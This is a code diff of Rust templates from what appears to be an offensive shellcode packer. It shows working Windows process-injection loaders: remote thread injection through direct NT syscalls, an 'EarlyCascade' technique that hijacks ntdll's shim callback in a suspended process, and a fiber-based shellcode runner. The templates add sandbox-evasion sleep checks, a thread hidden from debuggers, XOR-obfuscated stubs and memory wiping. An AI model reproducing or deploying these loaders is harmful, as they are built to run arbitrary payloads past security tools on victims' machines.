||||
|
||||
fn {{FN_FIND_PID}}(tar: &str) -> Vec<usize> {
|
||||
let mut dom: Vec<usize> = Vec::new();
|
||||
let s = System::new_all();
|
||||
let tar_lower = tar.to_lowercase();
|
||||
for (_, pro) in s.processes() {
|
||||
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
|
||||
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
|
||||
}
|
||||
}
|
||||
dom
|
||||
}
|
||||
|
||||
fn pause(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = ntcall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
let mut process_handle: HANDLE = null_mut();
|
||||
let mut oa = OBJECT_ATTRIBUTES::default();
|
||||
oa.Length = core::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
|
||||
let mut ci = CID {
|
||||
proc_id: tar as HANDLE,
|
||||
thread_id: null_mut(),
|
||||
};
|
||||
|
||||
let s = ntcall!("NtOpenProcess",
|
||||
&mut process_handle as *mut HANDLE,
|
||||
PROCESS_ALL_ACCESS,
|
||||
&mut oa as *mut OBJECT_ATTRIBUTES,
|
||||
&mut ci as *mut CID,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
pause(150);
|
||||
|
||||
let mut base: *mut c_void = null_mut();
|
||||
let mut size: usize = buf.len();
|
||||
let s = ntcall!("NtAllocateVirtualMemory",
|
||||
process_handle,
|
||||
&mut base as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
pause(200);
|
||||
|
||||
let buf_len = buf.len();
|
||||
let mut written: usize = 0;
|
||||
let s = ntcall!("NtWriteVirtualMemory",
|
||||
process_handle,
|
||||
base,
|
||||
buf.as_mut_ptr() as *mut c_void,
|
||||
buf_len,
|
||||
&mut written as *mut usize,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
pause(150);
|
||||
|
||||
let mut old_protect: u32 = 0;
|
||||
let mut region_size = buf_len;
|
||||
let s = ntcall!("NtProtectVirtualMemory",
|
||||
process_handle,
|
||||
&mut base as *mut *mut c_void,
|
||||
&mut region_size as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
pause(100);
|
||||
|
||||
let mut th: HANDLE = null_mut();
|
||||
let _ = ntcall!("NtCreateThreadEx",
|
||||
&mut th as *mut HANDLE,
|
||||
THREAD_ALL_ACCESS,
|
||||
null_mut::<c_void>(),
|
||||
process_handle,
|
||||
base,
|
||||
null_mut::<c_void>(),
|
||||
HIDE_FROM_DEBUGGER,
|
||||
0usize,
|
||||
0usize,
|
||||
0usize,
|
||||
null_mut::<c_void>(),
|
||||
);
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let tar: &str = "{{TARGET_PROCESS}}";
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
let list: Vec<usize> = {{FN_FIND_PID}}(tar);
|
||||
if !list.is_empty() {
|
||||
for i in &list {
|
||||
enhance(vec.clone(), *i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -3,21 +3,24 @@ name = "ntEarlyCascade"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
windows-sys = { version = "0.61", features = [
|
||||
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
|
||||
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
{{DYNCVOKE_EXTRA_DEPS}}
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_System_Threading",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Threading",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_System_LibraryLoader",
|
||||
] }
|
||||
# Used by domain_pin and anti_debug evasion snippets.
|
||||
winapi = { version = "0.3", features = ["sysinfoapi", "ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] }
|
||||
]
|
||||
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[profile.release]
|
||||
|
||||
@@ -1,32 +1,22 @@
|
||||
// EarlyCascade Injection
|
||||
// Integrated into RustPacker's template pipeline.
|
||||
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case)]
|
||||
#![allow(non_snake_case, non_camel_case_types)]
|
||||
|
||||
use std::include_bytes;
|
||||
use std::mem::zeroed;
|
||||
use std::ptr::{null, null_mut};
|
||||
|
||||
use windows_sys::Win32::{
|
||||
Foundation::CloseHandle,
|
||||
System::{
|
||||
Diagnostics::Debug::WriteProcessMemory,
|
||||
LibraryLoader::GetModuleHandleA,
|
||||
Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx},
|
||||
Threading::{
|
||||
CREATE_SUSPENDED, CreateProcessA, PROCESS_INFORMATION, ResumeThread, STARTUPINFOA,
|
||||
TerminateProcess,
|
||||
},
|
||||
},
|
||||
};
|
||||
use windows_sys::core::s;
|
||||
|
||||
mod core_file;
|
||||
mod stubs;
|
||||
|
||||
use core_file::{{{FN_ENC_PTR}}, find_se_dll_loaded, find_shims_enabled};
|
||||
use stubs::{STUB, STUB_PLACEHOLDER_OFFSET};
|
||||
use std::include_bytes;
|
||||
use std::mem;
|
||||
use std::ptr::null_mut;
|
||||
use std::slice;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant};
|
||||
use core::ffi::c_void;
|
||||
|
||||
use windows_sys::Win32::System::Memory::{
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
|
||||
};
|
||||
use windows_sys::Win32::System::Threading::{
|
||||
CreateProcessA, CREATE_SUSPENDED, PROCESS_INFORMATION, STARTUPINFOA,
|
||||
};
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
@@ -34,9 +24,55 @@ use stubs::{STUB, STUB_PLACEHOLDER_OFFSET};
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
{{STR_DECODER}}
|
||||
type HANDLE = *mut c_void;
|
||||
|
||||
{{API_RESOLVER}}
|
||||
#[inline]
|
||||
fn nt_success(s: i32) -> bool { s >= 0 }
|
||||
|
||||
{{NT_CALL_MACRO}}
|
||||
|
||||
const STUB_KEY: u8 = {{API_KEY}};
|
||||
|
||||
#[repr(C)]
|
||||
struct DosHeader {
|
||||
e_magic: u16,
|
||||
_pad: [u8; 58],
|
||||
e_lfanew: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
struct FileHeader {
|
||||
_machine: u16,
|
||||
number_of_sections: u16,
|
||||
_ts: u32,
|
||||
_sym_table: u32,
|
||||
_sym_count: u32,
|
||||
size_of_optional_header: u16,
|
||||
_characteristics: u16,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
struct SectionHeader {
|
||||
name: [u8; 8],
|
||||
virtual_size: u32,
|
||||
virtual_address: u32,
|
||||
_rest: [u8; 24],
|
||||
}
|
||||
|
||||
struct PatternDef {
|
||||
data: &'static [u8],
|
||||
pc_off: usize,
|
||||
}
|
||||
|
||||
fn pause(ms: u64) {
|
||||
thread::sleep(Duration::from_millis(ms));
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
@@ -45,141 +81,295 @@ fn wipe(buf: &mut Vec<u8>) {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
// Called by the NT_DELAY placeholders when the nt_delay evasion is selected.
|
||||
#[allow(dead_code)]
|
||||
fn {{FN_PAUSE}}(ms: u64) {
|
||||
std::thread::sleep(std::time::Duration::from_millis(ms));
|
||||
fn find_bytes(haystack: &[u8], needle: &[u8]) -> Option<usize> {
|
||||
haystack.windows(needle.len()).position(|w| w == needle)
|
||||
}
|
||||
|
||||
unsafe fn {{FN_CASCADE}}(shellcode: &[u8], target_process: &[u8]) {
|
||||
let si = zeroed::<STARTUPINFOA>();
|
||||
let mut pi = zeroed::<PROCESS_INFORMATION>();
|
||||
fn section_eq(name: &[u8; 8], target: &[u8]) -> bool {
|
||||
target.len() <= 8
|
||||
&& name[..target.len()] == *target
|
||||
&& name[target.len()..].iter().all(|&b| b == 0)
|
||||
}
|
||||
|
||||
let success = CreateProcessA(
|
||||
null(),
|
||||
target_process.as_ptr() as _,
|
||||
null(),
|
||||
null(),
|
||||
0,
|
||||
CREATE_SUSPENDED,
|
||||
null(),
|
||||
null(),
|
||||
&si,
|
||||
&mut pi,
|
||||
fn encode_ptr(ptr: usize) -> usize {
|
||||
unsafe {
|
||||
let cookie = *(0x7FFE0330usize as *const u32);
|
||||
let xored = (cookie as u64) ^ (ptr as u64);
|
||||
xored.rotate_right(cookie & 0x3F) as usize
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn get_sections(
|
||||
base: usize,
|
||||
) -> (
|
||||
Option<*const SectionHeader>,
|
||||
Option<*const SectionHeader>,
|
||||
Option<*const SectionHeader>,
|
||||
) {
|
||||
let dos = base as *const DosHeader;
|
||||
let nt_base = base + (*dos).e_lfanew as usize;
|
||||
let fh = (nt_base + 4) as *const FileHeader;
|
||||
let num = (*fh).number_of_sections as usize;
|
||||
let sec_start =
|
||||
(fh as usize) + mem::size_of::<FileHeader>() + (*fh).size_of_optional_header as usize;
|
||||
|
||||
let (mut text, mut mrdata, mut data) = (None, None, None);
|
||||
for i in 0..num {
|
||||
let s = (sec_start + i * mem::size_of::<SectionHeader>()) as *const SectionHeader;
|
||||
if section_eq(&(*s).name, b".text") {
|
||||
text = Some(s);
|
||||
}
|
||||
if section_eq(&(*s).name, b".mrdata") {
|
||||
mrdata = Some(s);
|
||||
}
|
||||
if section_eq(&(*s).name, b".data") {
|
||||
data = Some(s);
|
||||
}
|
||||
}
|
||||
|
||||
(text, mrdata, data)
|
||||
}
|
||||
|
||||
unsafe fn find_callback(base: usize) -> Option<(usize, usize)> {
|
||||
let (text, mrdata, _) = get_sections(base);
|
||||
let text = text?;
|
||||
let mrdata = mrdata?;
|
||||
|
||||
let patterns = [PatternDef {
|
||||
data: &[0x8B, 0x14, 0x25, 0x30, 0x03, 0xFE, 0x7F, 0x8B, 0xC2, 0x48, 0x8B, 0x3D],
|
||||
pc_off: 4,
|
||||
}];
|
||||
|
||||
let t_start = base + (*text).virtual_address as usize;
|
||||
let t_bytes = slice::from_raw_parts(t_start as *const u8, (*text).virtual_size as usize);
|
||||
let mr_start = base + (*mrdata).virtual_address as usize;
|
||||
let mr_end = mr_start + (*mrdata).virtual_size as usize;
|
||||
|
||||
for pat in &patterns {
|
||||
let mut off = 0;
|
||||
while off < t_bytes.len() {
|
||||
if let Some(pos) = find_bytes(&t_bytes[off..], pat.data) {
|
||||
let match_end = t_start + off + pos + pat.data.len();
|
||||
if *((match_end + 3) as *const u8) == 0x00 {
|
||||
let disp = *(match_end as *const u32) as usize;
|
||||
let target = match_end + disp + pat.pc_off;
|
||||
if target >= mr_start && target < mr_end {
|
||||
return Some((target, match_end));
|
||||
}
|
||||
}
|
||||
off += pos + pat.data.len();
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
unsafe fn find_shims_flag(base: usize, offset_addr: usize) -> Option<usize> {
|
||||
let (_, _, data) = get_sections(base);
|
||||
let data = data?;
|
||||
|
||||
let patterns = [
|
||||
PatternDef { data: &[0xC6, 0x05], pc_off: 5 },
|
||||
PatternDef { data: &[0x44, 0x38, 0x25], pc_off: 4 },
|
||||
];
|
||||
|
||||
let d_start = base + (*data).virtual_address as usize;
|
||||
let d_end = d_start + (*data).virtual_size as usize;
|
||||
let s_start = offset_addr.saturating_sub(0xFF);
|
||||
let s_end = offset_addr + 0xFF;
|
||||
let s_bytes = slice::from_raw_parts(s_start as *const u8, s_end - s_start);
|
||||
|
||||
for pat in &patterns {
|
||||
let mut off = 0;
|
||||
while off < s_bytes.len() {
|
||||
if let Some(pos) = find_bytes(&s_bytes[off..], pat.data) {
|
||||
let match_end = s_start + off + pos + pat.data.len();
|
||||
if *((match_end + 3) as *const u8) == 0x00 {
|
||||
let disp = *(match_end as *const u32) as usize;
|
||||
let target = match_end + disp + pat.pc_off;
|
||||
if target >= d_start && target < d_end {
|
||||
return Some(target);
|
||||
}
|
||||
}
|
||||
off += pos + pat.data.len();
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
unsafe fn do_inject(pi: &PROCESS_INFORMATION, sc: &[u8]) -> bool {
|
||||
let ntdll_base = dyncvoke_core::get_module_base_address(
|
||||
data::lc!("ntdll.dll").as_str()
|
||||
);
|
||||
if success == 0 {
|
||||
return;
|
||||
if ntdll_base == 0 {
|
||||
return false;
|
||||
}
|
||||
|
||||
{{NT_DELAY_STEP}}
|
||||
let (cb_addr, off_addr) = match find_callback(ntdll_base) {
|
||||
Some(v) => v,
|
||||
None => return false,
|
||||
};
|
||||
|
||||
let ntdll = GetModuleHandleA(s!("ntdll.dll")) as u64;
|
||||
if ntdll == 0 {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
let shims_addr = match find_shims_flag(ntdll_base, off_addr) {
|
||||
Some(v) => v,
|
||||
None => return false,
|
||||
};
|
||||
|
||||
let mut stub: Vec<u8> = stubs::STUB.iter().map(|b| b ^ STUB_KEY).collect();
|
||||
let marker_pos = stubs::STUB_PLACEHOLDER_OFFSET;
|
||||
if marker_pos + 8 > stub.len() {
|
||||
return false;
|
||||
}
|
||||
stub[marker_pos..marker_pos + 8].copy_from_slice(&shims_addr.to_le_bytes());
|
||||
|
||||
let (se_dll_loaded, offset_addr) = match find_se_dll_loaded(ntdll) {
|
||||
Some(x) => x,
|
||||
None => {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let stub_len = stub.len();
|
||||
let total = stub_len + 1 + sc.len();
|
||||
|
||||
let shims_enabled = match find_shims_enabled(ntdll, offset_addr) {
|
||||
Some(x) => x,
|
||||
None => {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let h_proc: HANDLE = pi.hProcess as HANDLE;
|
||||
let h_thread: HANDLE = pi.hThread as HANDLE;
|
||||
|
||||
let remote_mem = VirtualAllocEx(
|
||||
pi.hProcess,
|
||||
null_mut(),
|
||||
STUB.len() + shellcode.len(),
|
||||
let mut buf: *mut c_void = null_mut();
|
||||
let mut alloc_size: usize = total;
|
||||
let s = ntcall!("NtAllocateVirtualMemory",
|
||||
h_proc,
|
||||
&mut buf as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut alloc_size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
PAGE_READWRITE,
|
||||
);
|
||||
if remote_mem.is_null() {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
if !nt_success(s) {
|
||||
return false;
|
||||
}
|
||||
|
||||
{{NT_DELAY_STEP}}
|
||||
let sc_remote = (buf as usize + stub_len + 1) as *mut c_void;
|
||||
|
||||
let stub_addr = remote_mem as u64;
|
||||
let shell_addr = stub_addr + STUB.len() as u64;
|
||||
|
||||
let mut patched_stub: Vec<u8> = {{FN_DECODER}}(STUB);
|
||||
let placeholder = STUB_PLACEHOLDER_OFFSET;
|
||||
patched_stub[placeholder..placeholder + 8]
|
||||
.copy_from_slice(&shims_enabled.to_le_bytes());
|
||||
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
remote_mem,
|
||||
patched_stub.as_ptr() as _,
|
||||
patched_stub.len(),
|
||||
null_mut(),
|
||||
let mut written: usize = 0;
|
||||
let s = ntcall!("NtWriteVirtualMemory",
|
||||
h_proc,
|
||||
buf,
|
||||
stub.as_ptr() as *mut c_void,
|
||||
stub_len,
|
||||
&mut written as *mut usize,
|
||||
);
|
||||
if !nt_success(s) {
|
||||
return false;
|
||||
}
|
||||
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
shell_addr as _,
|
||||
shellcode.as_ptr() as _,
|
||||
shellcode.len(),
|
||||
null_mut(),
|
||||
let s = ntcall!("NtWriteVirtualMemory",
|
||||
h_proc,
|
||||
sc_remote,
|
||||
sc.as_ptr() as *mut c_void,
|
||||
sc.len(),
|
||||
&mut written as *mut usize,
|
||||
);
|
||||
if !nt_success(s) {
|
||||
return false;
|
||||
}
|
||||
|
||||
let encoded_ptr = {{FN_ENC_PTR}}(stub_addr);
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
se_dll_loaded as _,
|
||||
&encoded_ptr as *const _ as _,
|
||||
8,
|
||||
null_mut(),
|
||||
let mut prot_base: *mut c_void = buf;
|
||||
let mut prot_size: usize = total;
|
||||
let mut old_protect: u32 = 0;
|
||||
let s = ntcall!("NtProtectVirtualMemory",
|
||||
h_proc,
|
||||
&mut prot_base as *mut *mut c_void,
|
||||
&mut prot_size as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32,
|
||||
);
|
||||
if !nt_success(s) {
|
||||
return false;
|
||||
}
|
||||
|
||||
let enable: u8 = 1;
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
shims_enabled as _,
|
||||
&enable as *const _ as _,
|
||||
1,
|
||||
null_mut(),
|
||||
for b in stub.iter_mut() {
|
||||
std::ptr::write_volatile(b as *mut u8, 0);
|
||||
}
|
||||
|
||||
let encoded = encode_ptr(buf as usize);
|
||||
let s = ntcall!("NtWriteVirtualMemory",
|
||||
h_proc,
|
||||
cb_addr as *mut c_void,
|
||||
&encoded as *const usize as *mut c_void,
|
||||
mem::size_of::<usize>(),
|
||||
&mut written as *mut usize,
|
||||
);
|
||||
if !nt_success(s) {
|
||||
return false;
|
||||
}
|
||||
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
let enable: i32 = 1;
|
||||
let s = ntcall!("NtWriteVirtualMemory",
|
||||
h_proc,
|
||||
shims_addr as *mut c_void,
|
||||
&enable as *const i32 as *mut c_void,
|
||||
mem::size_of::<i32>(),
|
||||
&mut written as *mut usize,
|
||||
);
|
||||
if !nt_success(s) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
let mut prev_count: u32 = 0;
|
||||
let s = ntcall!("NtResumeThread", h_thread, &mut prev_count as *mut u32);
|
||||
nt_success(s)
|
||||
}
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
fn cascade(sc: &[u8]) {
|
||||
unsafe {
|
||||
let mut cmd = b"{{TARGET_PROCESS}}\0".to_vec();
|
||||
let mut si: STARTUPINFOA = mem::zeroed();
|
||||
si.cb = mem::size_of::<STARTUPINFOA>() as u32;
|
||||
let mut pi: PROCESS_INFORMATION = mem::zeroed();
|
||||
|
||||
if CreateProcessA(
|
||||
null_mut(),
|
||||
cmd.as_mut_ptr(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
0,
|
||||
CREATE_SUSPENDED,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
&mut si,
|
||||
&mut pi,
|
||||
) == 0
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
let ok = do_inject(&pi, sc);
|
||||
|
||||
if !ok && !pi.hProcess.is_null() {
|
||||
let _ = ntcall!("NtTerminateProcess", pi.hProcess as HANDLE, 1i32);
|
||||
}
|
||||
|
||||
if !pi.hThread.is_null() {
|
||||
let _ = ntcall!("NtClose", pi.hThread as HANDLE);
|
||||
}
|
||||
if !pi.hProcess.is_null() {
|
||||
let _ = ntcall!("NtClose", pi.hProcess as HANDLE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{NT_DELAY_AT_START}}
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
// Process name must be NUL-terminated for CreateProcessA.
|
||||
let target = b"{{TARGET_PROCESS}}\0";
|
||||
unsafe { {{FN_CASCADE}}(&vec, target); }
|
||||
cascade(&vec);
|
||||
wipe(&mut vec);
|
||||
}
|
||||
|
||||
|
||||
@@ -43,3 +43,5 @@ pub const STUB: &[u8] = &[
|
||||
0x49, 0x89, 0xF8, 0x48, 0xC1, 0xE7, 0x06, 0x4C, 0x01, 0xC7, 0x48, 0x01,
|
||||
0xC7, 0xEB, 0xE1, 0xC3, 0xE8, 0xAE, 0xFF, 0xFF, 0xFF,
|
||||
];
|
||||
|
||||
pub const STUB_PLACEHOLDER_OFFSET: usize = 202;
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# Local shellcodes used for tests
|
||||
*.bin
|
||||
@@ -0,0 +1,30 @@
|
||||
[package]
|
||||
name = "ntFIBER"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
|
||||
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
{{DYNCVOKE_EXTRA_DEPS}}
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Threading",
|
||||
]
|
||||
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,117 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case, non_camel_case_types)]
|
||||
|
||||
use std::include_bytes;
|
||||
use std::ptr::null_mut;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use windows_sys::Win32::System::Memory::{
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ,
|
||||
};
|
||||
use windows_sys::Win32::System::Threading::{
|
||||
ConvertThreadToFiber, CreateFiberEx, SwitchToFiber, LPFIBER_START_ROUTINE,
|
||||
};
|
||||
|
||||
use std::time::Instant;
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
type HANDLE = *mut c_void;
|
||||
|
||||
#[inline]
|
||||
fn nt_success(s: i32) -> bool { s >= 0 }
|
||||
|
||||
{{NT_CALL_MACRO}}
|
||||
|
||||
fn pause(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = ntcall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>) {
|
||||
let current_process: HANDLE = -1isize as HANDLE;
|
||||
|
||||
let mut base: *mut c_void = null_mut();
|
||||
let mut size: usize = buf.len();
|
||||
let s = ntcall!("NtAllocateVirtualMemory",
|
||||
current_process,
|
||||
&mut base as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
pause(150);
|
||||
|
||||
let buf_len = buf.len();
|
||||
let mut written: usize = 0;
|
||||
let s = ntcall!("NtWriteVirtualMemory",
|
||||
current_process,
|
||||
base,
|
||||
buf.as_mut_ptr() as *mut c_void,
|
||||
buf_len,
|
||||
&mut written as *mut usize,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
pause(200);
|
||||
|
||||
let mut old_protect: u32 = 0;
|
||||
let mut region_size = buf_len;
|
||||
let s = ntcall!("NtProtectVirtualMemory",
|
||||
current_process,
|
||||
&mut base as *mut *mut c_void,
|
||||
&mut region_size as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
pause(100);
|
||||
|
||||
unsafe {
|
||||
let buf_ptr: LPFIBER_START_ROUTINE = core::mem::transmute(base);
|
||||
let buf_fiber_address = CreateFiberEx(0, 0, 0, buf_ptr, null_mut());
|
||||
if buf_fiber_address.is_null() { return; }
|
||||
|
||||
let primary_fiber_address = ConvertThreadToFiber(null_mut());
|
||||
if primary_fiber_address.is_null() { return; }
|
||||
|
||||
SwitchToFiber(buf_fiber_address);
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
enhance(vec);
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -8,7 +8,7 @@ edition = "2021"
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
|
||||
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
sysinfo = "0.38"
|
||||
ntapi = { version = "0.4", features = ["impl-default"] }
|
||||
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winnt", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "sysinfoapi"] }
|
||||
|
||||
@@ -1,32 +0,0 @@
|
||||
[package]
|
||||
name = "sysFIBER"
|
||||
version = "0.1.1"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
|
||||
ntapi = { version = "0.4", features = ["impl-default"] }
|
||||
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winbase", "sysinfoapi", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] }
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61"
|
||||
|
||||
features = [
|
||||
"Win32_System_Memory",
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_System_Threading",
|
||||
]
|
||||
|
||||
[profile.release]
|
||||
strip = true # Automatically strip symbols from the binary.
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -1,123 +0,0 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use std::ptr::null_mut;
|
||||
use std::time::Instant;
|
